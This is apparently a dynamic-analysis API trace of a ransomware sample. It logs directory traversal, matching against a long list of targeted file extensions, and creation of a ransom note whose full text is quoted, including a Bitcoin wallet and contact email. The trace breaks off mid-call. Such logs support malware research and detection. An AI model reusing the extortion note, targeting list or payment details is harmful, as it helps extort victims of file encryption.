lstrlenA (lpString="*.txt") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.jpeg") returned 0 [0109.063] lstrlenA (lpString="*.jpeg") returned 6 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.jpg") returned 0 [0109.063] lstrlenA (lpString="*.jpg") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.png") returned 0 [0109.063] lstrlenA (lpString="*.png") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.php") returned 0 [0109.063] lstrlenA (lpString="*.php") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.cs") returned 0 [0109.063] lstrlenA (lpString="*.cs") returned 4 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.cpp") returned 0 [0109.063] lstrlenA (lpString="*.cpp") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.rar") returned 0 [0109.063] lstrlenA (lpString="*.rar") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.zip") returned 0 [0109.063] lstrlenA (lpString="*.zip") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.html") returned 0 [0109.063] lstrlenA (lpString="*.html") returned 6 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.htm") returned 0 [0109.063] lstrlenA (lpString="*.htm") returned 5 [0109.063] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.xlsx") returned 0 [0109.064] lstrlenA (lpString="*.xlsx") returned 6 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.xls") returned 0 [0109.064] lstrlenA (lpString="*.xls") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.mp4") returned 0 [0109.064] lstrlenA (lpString="*.mp4") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.ppt") returned 0 [0109.064] lstrlenA (lpString="*.ppt") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.pptx") returned 0 [0109.064] lstrlenA (lpString="*.pptx") returned 6 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.doc") returned 0 [0109.064] lstrlenA (lpString="*.doc") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.dot") returned 0 [0109.064] lstrlenA (lpString="*.dot") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.docx") returned 0 [0109.064] lstrlenA (lpString="*.docx") returned 6 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.7z") returned 0 [0109.064] lstrlenA (lpString="*.7z") returned 4 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.tar") returned 0 [0109.064] lstrlenA (lpString="*.tar") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.bz2") returned 0 [0109.064] lstrlenA (lpString="*.bz2") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.gz") returned 0 [0109.064] lstrlenA (lpString="*.gz") returned 4 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.mkv") returned 0 [0109.064] lstrlenA (lpString="*.mkv") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.eml") returned 0 [0109.064] lstrlenA (lpString="*.eml") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.msg") returned 0 [0109.064] lstrlenA (lpString="*.msg") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.edb") returned 0 [0109.064] lstrlenA (lpString="*.edb") returned 5 [0109.064] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.accdb") returned 0 [0109.064] lstrlenA (lpString="*.accdb") returned 7 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.odb") returned 0 [0109.065] lstrlenA (lpString="*.odb") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.java") returned 0 [0109.065] lstrlenA (lpString="*.java") returned 6 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.asm") returned 0 [0109.065] lstrlenA (lpString="*.asm") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.pfx") returned 0 [0109.065] lstrlenA (lpString="*.pfx") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.pem") returned 0 [0109.065] lstrlenA (lpString="*.pem") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.p12") returned 0 [0109.065] lstrlenA (lpString="*.p12") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.gpg") returned 0 [0109.065] lstrlenA (lpString="*.gpg") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.vsd") returned 0 [0109.065] lstrlenA (lpString="*.vsd") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.odg") returned 0 [0109.065] lstrlenA (lpString="*.odg") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.raw") returned 0 [0109.065] lstrlenA (lpString="*.raw") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.nef") returned 0 [0109.065] lstrlenA (lpString="*.nef") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.svg") returned 0 [0109.065] lstrlenA (lpString="*.svg") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.psd") returned 0 [0109.065] lstrlenA (lpString="*.psd") returned 5 [0109.065] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.vmx") returned 0 [0109.065] lstrlenA (lpString="*.vmx") returned 5 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.vmdk") returned 0 [0109.066] lstrlenA (lpString="*.vmdk") returned 6 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.vdi") returned 0 [0109.066] lstrlenA (lpString="*.vdi") returned 5 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.lay6") returned 0 [0109.066] lstrlenA (lpString="*.lay6") returned 6 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.mpeg") returned 0 [0109.066] lstrlenA (lpString="*.mpeg") returned 6 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.djvu") returned 0 [0109.066] lstrlenA (lpString="*.djvu") returned 6 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.tiff") returned 0 [0109.066] lstrlenA (lpString="*.tiff") returned 6 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.backup") returned 0 [0109.066] lstrlenA (lpString="*.backup") returned 8 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.pdf") returned 0 [0109.066] lstrlenA (lpString="*.pdf") returned 5 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.cert") returned 0 [0109.066] lstrlenA (lpString="*.cert") returned 6 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.docm") returned 0 [0109.066] lstrlenA (lpString="*.docm") returned 6 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.xlsm") returned 0 [0109.066] lstrlenA (lpString="*.xlsm") returned 6 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.dwg") returned 0 [0109.066] lstrlenA (lpString="*.dwg") returned 5 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.nd") returned 0 [0109.066] lstrlenA (lpString="*.nd") returned 4 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.tlg") returned 0 [0109.066] lstrlenA (lpString="*.tlg") returned 5 [0109.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.lgb") returned 0 [0109.067] lstrlenA (lpString="*.lgb") returned 5 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.mov") returned 0 [0109.067] lstrlenA (lpString="*.mov") returned 5 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.xdw") returned 0 [0109.067] lstrlenA (lpString="*.xdw") returned 5 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.ods") returned 0 [0109.067] lstrlenA (lpString="*.ods") returned 5 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.wav") returned 0 [0109.067] lstrlenA (lpString="*.wav") returned 5 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.mp3") returned 0 [0109.067] lstrlenA (lpString="*.mp3") returned 5 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.aiff") returned 0 [0109.067] lstrlenA (lpString="*.aiff") returned 6 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.flac") returned 0 [0109.067] lstrlenA (lpString="*.flac") returned 6 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.m4a") returned 0 [0109.067] lstrlenA (lpString="*.m4a") returned 5 [0109.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll", pszSpec="*.csv") returned 0 [0109.067] lstrlenA (lpString="*.csv") returned 5 [0109.067] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb5871de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb5871de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb5871de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x39e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.067] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.067] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c584fd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4c584fd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf4c584fd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="cdf48153115fc0bb466f37b7dcad9ac5", cAlternateFileName="CDF481~1")) returned 1 [0109.068] lstrcmpA (lpString1=".", lpString2="cdf48153115fc0bb466f37b7dcad9ac5") returned -1 [0109.068] lstrcmpA (lpString1="..", lpString2="cdf48153115fc0bb466f37b7dcad9ac5") returned -1 [0109.068] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*") returned="*.*" [0109.068] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\", lpString2="cdf48153115fc0bb466f37b7dcad9ac5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5" [0109.068] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5") returned 100 [0109.068] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c584fd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4c584fd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf4c584fd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.068] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.068] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c584fd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4c584fd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf4c584fd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.068] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.068] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.068] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b99e1b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf4b99e1b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf4bbff7c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x213600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Commands.Utility.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.068] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.068] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.PowerShell.Commands.Utility.ni.dll") returned -1 [0109.069] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.PowerShell.Commands.Utility.ni.dll") returned -1 [0109.069] lstrcmpiA (lpString1="", lpString2="Microsoft.PowerShell.Commands.Utility.ni.dll") returned -1 [0109.069] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\*.*") returned="*.*" [0109.069] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\" [0109.069] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\") returned="" [0109.069] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\HOW TO DECRYPT FILES.txt" [0109.069] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\how to decrypt files.txt")) returned 0xffffffff [0109.069] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.075] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.075] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.077] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.077] CloseHandle (hObject=0x90) returned 1 [0109.077] lstrcatA (in: 